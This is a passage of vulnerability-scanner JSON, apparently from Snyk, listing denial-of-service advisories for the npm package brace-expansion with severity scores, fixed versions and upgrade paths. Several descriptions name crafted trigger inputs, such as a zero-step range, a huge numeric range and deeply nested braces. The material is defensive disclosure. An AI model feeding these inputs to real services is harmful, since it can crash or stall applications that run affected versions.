"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": 